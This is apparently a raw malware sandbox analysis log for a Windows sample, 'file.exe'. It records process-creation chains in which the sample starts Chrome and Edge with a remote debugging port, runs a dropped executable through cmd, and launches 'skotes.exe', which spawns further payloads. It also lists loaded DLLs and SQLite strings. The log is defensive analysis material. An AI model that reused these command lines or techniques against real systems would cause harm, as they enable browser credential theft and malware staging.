Source: file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1597084197.000000001D2AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1610692458.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2184,i,17830567374915129645,17658009818156142386,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2236,i,16034310366298232059,5096716925482931447,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6980 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7120 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEGCAAKFBA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIEGCAAKFBA.exe "C:\Users\user\DocumentsIEGCAAKFBA.exe"
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe "C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe "C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe "C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe "C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4320 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe "C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEGCAAKFBA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2184,i,17830567374915129645,17658009818156142386,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2236,i,16034310366298232059,5096716925482931447,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6980 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7120 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4320 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIEGCAAKFBA.exe "C:\Users\user\DocumentsIEGCAAKFBA.exe"
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe "C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe "C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe "C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Section loaded: ncrypt.dll
